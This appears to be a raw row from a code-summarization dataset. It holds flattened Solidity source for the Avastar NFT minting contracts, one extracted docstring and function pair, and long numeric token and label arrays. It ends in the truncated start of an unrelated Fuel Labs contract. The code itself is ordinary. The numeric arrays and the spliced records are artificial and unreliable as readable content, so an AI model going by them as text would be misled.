-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: contracts/AvastarTypes.sol pragma solidity 0.5.14; /** * @title Avastar Data Types * @author Cliff Hall */ contract AvastarTypes { enum Generation { ONE, TWO, THREE, FOUR, FIVE } enum Series { PROMO, ONE, TWO, THREE, FOUR, FIVE } enum Wave { PRIME, REPLICANT } enum Gene { SKIN_TONE, HAIR_COLOR, EYE_COLOR, BG_COLOR, BACKDROP, EARS, FACE, NOSE, MOUTH, FACIAL_FEATURE, EYES, HAIR_STYLE } enum Gender { ANY, MALE, FEMALE } enum Rarity { COMMON, UNCOMMON, RARE, EPIC, LEGENDARY } struct Trait { uint256 id; Generation generation; Gender gender; Gene gene; Rarity rarity; uint8 variation; Series[] series; string name; string svg; } struct Prime { uint256 id; uint256 serial; uint256 traits; bool[12] replicated; Generation generation; Series series; Gender gender; uint8 ranking; } struct Replicant { uint256 id; uint256 serial; uint256 traits; Generation generation; Gender gender; uint8 ranking; } struct Avastar { uint256 id; uint256 serial; uint256 traits; Generation generation; Wave wave; } struct Attribution { Generation generation; string artist; string infoURI; } } // File: contracts/IAvastarTeleporter.sol pragma solidity 0.5.14; /** * @title AvastarTeleporter Interface * @author Cliff Hall * @notice Declared as abstract contract rather than interface as it must inherit for enum types. * Used by AvastarMinter contract to interact with subset of AvastarTeleporter contract functions. */ contract IAvastarTeleporter is AvastarTypes { /** * @notice Acknowledge contract is `AvastarTeleporter` * @return always true if the contract is in fact `AvastarTeleporter` */ function isAvastarTeleporter() external pure returns (bool); /** * @notice Get token URI for a given Avastar Token ID. * Reverts if given token id is not a valid Avastar Token ID. * @param _tokenId the Token ID of a previously minted Avastar Prime or Replicant * @return uri the off-chain URI to the JSON metadata for the given Avastar */ function tokenURI(uint _tokenId) external view returns (string memory uri); /** * @notice Get an Avastar's Wave by token ID. * @param _tokenId the token id of the given Avastar * @return wave the Avastar's wave (Prime/Replicant) */ function getAvastarWaveByTokenId(uint256 _tokenId) external view returns (Wave wave); /** * @notice Get the Avastar Prime metadata associated with a given Token ID. * @param _tokenId the Token ID of the specified Prime * @return tokenId the Prime's token ID * @return serial the Prime's serial * @return traits the Prime's trait hash * @return generation the Prime's generation * @return series the Prime's series * @return gender the Prime's gender * @return ranking the Prime's ranking */ function getPrimeByTokenId(uint256 _tokenId) external view returns ( uint256 tokenId, uint256 serial, uint256 traits, Generation generation, Series series, Gender gender, uint8 ranking ); /** * @notice Get the Avastar Replicant metadata associated with a given Token ID * @param _tokenId the token ID of the specified Replicant * @return tokenId the Replicant's token ID * @return serial the Replicant's serial * @return traits the Replicant's trait hash * @return generation the Replicant's generation * @return gender the Replicant's gender * @return ranking the Replicant's ranking */ function getReplicantByTokenId(uint256 _tokenId) external view returns ( uint256 tokenId, uint256 serial, uint256 traits, Generation generation, Gender gender, uint8 ranking ); /** * @notice Retrieve a Trait's info by ID. * @param _traitId the ID of the Trait to retrieve * @return id the ID of the trait * @return generation generation of the trait * @return series list of series the trait may appear in * @return gender gender(s) the trait is valid for * @return gene gene the trait belongs to * @return variation variation of the gene the trait represents * @return rarity the rarity level of this trait * @return name name of the trait */ function getTraitInfoById(uint256 _traitId) external view returns ( uint256 id, Generation generation, Series[] memory series, Gender gender, Gene gene, Rarity rarity, uint8 variation, string memory name ); /** * @notice Retrieve a Trait's name by ID. * @param _traitId the ID of the Trait to retrieve * @return name name of the trait */ function getTraitNameById(uint256 _traitId) external view returns (string memory name); /** * @notice Get Trait ID by Generation, Gene, and Variation. * @param _generation the generation the trait belongs to * @param _gene gene the trait belongs to * @param _variation the variation of the gene * @return traitId the ID of the specified trait */ function getTraitIdByGenerationGeneAndVariation( Generation _generation, Gene _gene, uint8 _variation ) external view returns (uint256 traitId); /** * @notice Get the artist Attribution for a given Generation, combined into a single string. * @param _generation the generation to retrieve artist attribution for * @return attribution a single string with the artist and artist info URI */ function getAttributionByGeneration(Generation _generation) external view returns ( string memory attribution ); /** * @notice Mint an Avastar Prime * Only invokable by minter role, when contract is not paused. * If successful, emits a `NewPrime` event. * @param _owner the address of the new Avastar's owner * @param _traits the new Prime's trait hash * @param _generation the new Prime's generation * @return _series the new Prime's series * @param _gender the new Prime's gender * @param _ranking the new Prime's rarity ranking * @return tokenId the newly minted Prime's token ID * @return serial the newly minted Prime's serial */ function mintPrime( address _owner, uint256 _traits, Generation _generation, Series _series, Gender _gender, uint8 _ranking ) external returns (uint256, uint256); /** * @notice Mint an Avastar Replicant. * Only invokable by minter role, when contract is not paused. * If successful, emits a `NewReplicant` event. * @param _owner the address of the new Avastar's owner * @param _traits the new Replicant's trait hash * @param _generation the new Replicant's generation * @param _gender the new Replicant's gender * @param _ranking the new Replicant's rarity ranking * @return tokenId the newly minted Replicant's token ID * @return serial the newly minted Replicant's serial */ function mintReplicant( address _owner, uint256 _traits, Generation _generation, Gender _gender, uint8 _ranking ) external returns (uint256, uint256); /** * Gets the owner of the specified token ID. * @param tokenId the token ID to search for the owner of * @return owner the owner of the given token ID */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @notice Gets the total amount of tokens stored by the contract. * @return count total number of tokens */ function totalSupply() public view returns (uint256 count); } // File: @openzeppelin/contracts/access/Roles.sol pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/AccessControl.sol pragma solidity 0.5.14; /** * @title Access Control * @author Cliff Hall * @notice Role-based access control and contract upgrade functionality. */ contract AccessControl { using SafeMath for uint256; using SafeMath for uint16; using Roles for Roles.Role; Roles.Role private admins; Roles.Role private minters; Roles.Role private owners; /** * @notice Sets `msg.sender` as system admin by default. * Starts paused. System admin must unpause, and add other roles after deployment. */ constructor() public { admins.add(msg.sender); } /** * @notice Emitted when contract is paused by system administrator. */ event ContractPaused(); /** * @notice Emitted when contract is unpaused by system administrator. */ event ContractUnpaused(); /** * @notice Emitted when contract is upgraded by system administrator. * @param newContract address of the new version of the contract. */ event ContractUpgrade(address newContract); bool public paused = true; bool public upgraded = false; address public newContractAddress; /** * @notice Modifier to scope access to minters */ modifier onlyMinter() { require(minters.has(msg.sender)); _; } /** * @notice Modifier to scope access to owners */ modifier onlyOwner() { require(owners.has(msg.sender)); _; } /** * @notice Modifier to scope access to system administrators */ modifier onlySysAdmin() { require(admins.has(msg.sender)); _; } /** * @notice Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @notice Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @notice Modifier to make a function callable only when the contract not upgraded. */ modifier whenNotUpgraded() { require(!upgraded); _; } /** * @notice Called by a system administrator to mark the smart contract as upgraded, * in case there is a serious breaking bug. This method stores the new contract * address and emits an event to that effect. Clients of the contract should * update to the new contract address upon receiving this event. This contract will * remain paused indefinitely after such an upgrade. * @param _newAddress address of new contract */ function upgradeContract(address _newAddress) external onlySysAdmin whenPaused whenNotUpgraded { require(_newAddress != address(0)); upgraded = true; newContractAddress = _newAddress; emit ContractUpgrade(_newAddress); } /** * @notice Called by a system administrator to add a minter. * Reverts if `_minterAddress` already has minter role * @param _minterAddress approved minter */ function addMinter(address _minterAddress) external onlySysAdmin { minters.add(_minterAddress); require(minters.has(_minterAddress)); } /** * @notice Called by a system administrator to add an owner. * Reverts if `_ownerAddress` already has owner role * @param _ownerAddress approved owner * @return added boolean indicating whether the role was granted */ function addOwner(address _ownerAddress) external onlySysAdmin { owners.add(_ownerAddress); require(owners.has(_ownerAddress)); } /** * @notice Called by a system administrator to add another system admin. * Reverts if `_sysAdminAddress` already has sysAdmin role * @param _sysAdminAddress approved owner */ function addSysAdmin(address _sysAdminAddress) external onlySysAdmin { admins.add(_sysAdminAddress); require(admins.has(_sysAdminAddress)); } /** * @notice Called by an owner to remove all roles from an address. * Reverts if address had no roles to be removed. * @param _address address having its roles stripped */ function stripRoles(address _address) external onlyOwner { require(msg.sender != _address); bool stripped = false; if (admins.has(_address)) { admins.remove(_address); stripped = true; } if (minters.has(_address)) { minters.remove(_address); stripped = true; } if (owners.has(_address)) { owners.remove(_address); stripped = true; } require(stripped == true); } /** * @notice Called by a system administrator to pause, triggers stopped state */ function pause() external onlySysAdmin whenNotPaused { paused = true; emit ContractPaused(); } /** * @notice Called by a system administrator to un-pause, returns to normal state */ function unpause() external onlySysAdmin whenPaused whenNotUpgraded { paused = false; emit ContractUnpaused(); } } // File: contracts/AvastarPrimeMinter.sol pragma solidity 0.5.14; /** * @title Avastar Prime Minter Proxy * @author Cliff Hall * @notice Mints Avastar Primes using the `AvastarTeleporter` contract on behalf of depositors. * Allows system admin to set current generation and series. * Manages accounting of depositor and franchise balances. */ contract AvastarPrimeMinter is AvastarTypes, AccessControl { /** * @notice Event emitted when the current Generation is changed * @param currentGeneration the new value of currentGeneration */ event CurrentGenerationSet(Generation currentGeneration); /** * @notice Event emitted when the current Series is changed * @param currentSeries the new value of currentSeries */ event CurrentSeriesSet(Series currentSeries); /** * @notice Event emitted when ETH is deposited or withdrawn by a depositor * @param depositor the address who deposited or withdrew ETH * @param balance the depositor's resulting ETH balance in the contract */ event DepositorBalance(address indexed depositor, uint256 balance); /** * @notice Event emitted upon the withdrawal of the franchise's balance * @param owner the contract owner * @param amount total ETH withdrawn */ event FranchiseBalanceWithdrawn(address indexed owner, uint256 amount); /** * @notice Event emitted when AvastarTeleporter contract is set * @param contractAddress the address of the AvastarTeleporter contract */ event TeleporterContractSet(address contractAddress); /** * @notice Address of the AvastarTeleporter contract */ IAvastarTeleporter private teleporterContract ; /** * @notice The current Generation of Avastars being minted */ Generation private currentGeneration; /** * @notice The current Series of Avastars being minted */ Series private currentSeries; /** * @notice Track the deposits made by address */ mapping (address => uint256) private depositsByAddress; /** * @notice Current total of unspent deposits by all depositors */ uint256 private unspentDeposits; /** * @notice Set the address of the `AvastarTeleporter` contract. * Only invokable by system admin role, when contract is paused and not upgraded. * To be used if the Teleporter contract has to be upgraded and a new instance deployed. * If successful, emits an `TeleporterContractSet` event. * @param _address address of `AvastarTeleporter` contract */ function setTeleporterContract(address _address) external onlySysAdmin whenPaused whenNotUpgraded { // Cast the candidate contract to the IAvastarTeleporter interface IAvastarTeleporter candidateContract = IAvastarTeleporter(_address); // Verify that we have the appropriate address require(candidateContract.isAvastarTeleporter()); // Set the contract address teleporterContract = IAvastarTeleporter(_address); // Emit the event emit TeleporterContractSet(_address); } /** * @notice Set the Generation to be minted. * Resets `currentSeries` to `Series.ONE`. * Only invokable by system admin role, when contract is paused and not upgraded. * Emits `GenerationSet` event with new value of `currentGeneration`. * @param _generation the new value for currentGeneration */ function setCurrentGeneration(Generation _generation) external onlySysAdmin whenPaused whenNotUpgraded { currentGeneration = _generation; emit CurrentGenerationSet(currentGeneration); setCurrentSeries(Series.ONE); } /** * @notice Set the Series to be minted. * Only invokable by system admin role, when contract is paused and not upgraded. * Emits `CurrentSeriesSet` event with new value of `currentSeries`. * @param _series the new value for currentSeries */ function setCurrentSeries(Series _series) public onlySysAdmin whenPaused whenNotUpgraded { currentSeries = _series; emit CurrentSeriesSet(currentSeries); } /** * @notice Allow owner to check the withdrawable franchise balance. * Remaining balance must be enough for all unspent deposits to be withdrawn by depositors. * Invokable only by owner role. * @return franchiseBalance the available franchise balance */ function checkFranchiseBalance() external view onlyOwner returns (uint256 franchiseBalance) { return uint256(address(this).balance).sub(unspentDeposits); } /** * @notice Allow an owner to withdraw the franchise balance. * Invokable only by owner role. * Entire franchise balance is transferred to `msg.sender`. * If successful, emits `FranchiseBalanceWithdrawn` event with amount withdrawn. * @return amountWithdrawn amount withdrawn */ function withdrawFranchiseBalance() external onlyOwner returns (uint256 amountWithdrawn) { uint256 franchiseBalance = uint256(address(this).balance).sub(unspentDeposits); require(franchiseBalance > 0); msg.sender.transfer(franchiseBalance); emit FranchiseBalanceWithdrawn(msg.sender, franchiseBalance); return franchiseBalance; } /** * @notice Allow anyone to deposit ETH. * Before contract will mint on behalf of a user, they must have sufficient ETH on deposit. * Invokable by any address (other than 0) when contract is not paused. * Must have a non-zero ETH value. * If successful, emits a `DepositorBalance` event with depositor's resulting balance. */ function deposit() external payable whenNotPaused { require(msg.value > 0); depositsByAddress[msg.sender] = depositsByAddress[msg.sender].add(msg.value); unspentDeposits = unspentDeposits.add(msg.value); emit DepositorBalance(msg.sender, depositsByAddress[msg.sender]); } /** * @notice Allow anyone to check their deposit balance. * Invokable by any address (other than 0). * @return the depositor's current ETH balance in the contract */ function checkDepositorBalance() external view returns (uint256){ return depositsByAddress[msg.sender]; } /** * @notice Allow a depositor with a balance to withdraw it. * Invokable by any address (other than 0) with an ETH balance on deposit. * Entire depositor balance is transferred to `msg.sender`. * Emits `DepositorBalance` event of 0 amount once transfer is complete. * @return amountWithdrawn amount withdrawn */ function withdrawDepositorBalance() external returns (uint256 amountWithdrawn) { uint256 depositorBalance = depositsByAddress[msg.sender]; require(depositorBalance > 0 && address(this).balance >= depositorBalance); depositsByAddress[msg.sender] = 0; unspentDeposits = unspentDeposits.sub(depositorBalance); msg.sender.transfer(depositorBalance); emit DepositorBalance(msg.sender, 0); return depositorBalance; } /** * @notice Mint an Avastar Prime for a purchaser who has previously deposited funds. * Invokable only by minter role, when contract is not paused. * Minted token will be owned by `_purchaser` address. * If successful, emits a `DepositorBalance` event with the depositor's remaining balance, * and the `AvastarTeleporter` contract will emit a `NewPrime` event. * @param _purchaser address that will own the token * @param _price price in ETH of token, removed from purchaser's deposit balance * @param _traits the Avastar's Trait hash * @param _gender the Avastar's Gender * @param _ranking the Avastar's Ranking * @return tokenId the Avastar's tokenId * @return serial the Prime's serial */ function purchasePrime( address _purchaser, uint256 _price, uint256 _traits, Gender _gender, uint8 _ranking ) external onlyMinter whenNotPaused returns (uint256 tokenId, uint256 serial) { require(_purchaser != address(0)); require (depositsByAddress[_purchaser] >= _price); require(_gender > Gender.ANY); depositsByAddress[_purchaser] = depositsByAddress[_purchaser].sub(_price); unspentDeposits = unspentDeposits.sub(_price); (tokenId, serial) = teleporterContract.mintPrime(_purchaser, _traits, currentGeneration, currentSeries, _gender, _ranking); emit DepositorBalance(_purchaser, depositsByAddress[_purchaser]); return (tokenId, serial); } }
* @notice Set the Generation to be minted. Resets `currentSeries` to `Series.ONE`. Only invokable by system admin role, when contract is paused and not upgraded. Emits `GenerationSet` event with new value of `currentGeneration`. @param _generation the new value for currentGeneration/
function setCurrentGeneration(Generation _generation) external onlySysAdmin whenPaused whenNotUpgraded { currentGeneration = _generation; emit CurrentGenerationSet(currentGeneration); setCurrentSeries(Series.ONE); }
2,545,649
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 20392, 1000, 326, 23234, 358, 506, 312, 474, 329, 18, 1124, 2413, 1375, 2972, 6485, 68, 358, 1375, 6485, 18, 5998, 8338, 5098, 5770, 429, 635, 2619, 3981, 2478, 16, 1347, 6835, 353, 17781, 471, 486, 31049, 18, 7377, 1282, 1375, 13842, 694, 68, 871, 598, 394, 460, 434, 1375, 2972, 13842, 8338, 632, 891, 389, 25514, 326, 394, 460, 364, 783, 13842, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 12589, 13842, 12, 13842, 389, 25514, 13, 3903, 1338, 12712, 4446, 1347, 28590, 1347, 1248, 1211, 19305, 288, 203, 3639, 783, 13842, 273, 389, 25514, 31, 203, 3639, 3626, 6562, 13842, 694, 12, 2972, 13842, 1769, 203, 3639, 12589, 6485, 12, 6485, 18, 5998, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright (c) 2020 Fuel Labs Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.1; /* Authors: DappHub License: GNU Modified by: FuelLabs */ contract DSMath { function ds_add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function ds_sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function ds_mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } } contract ERC20 { // METHODS function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint 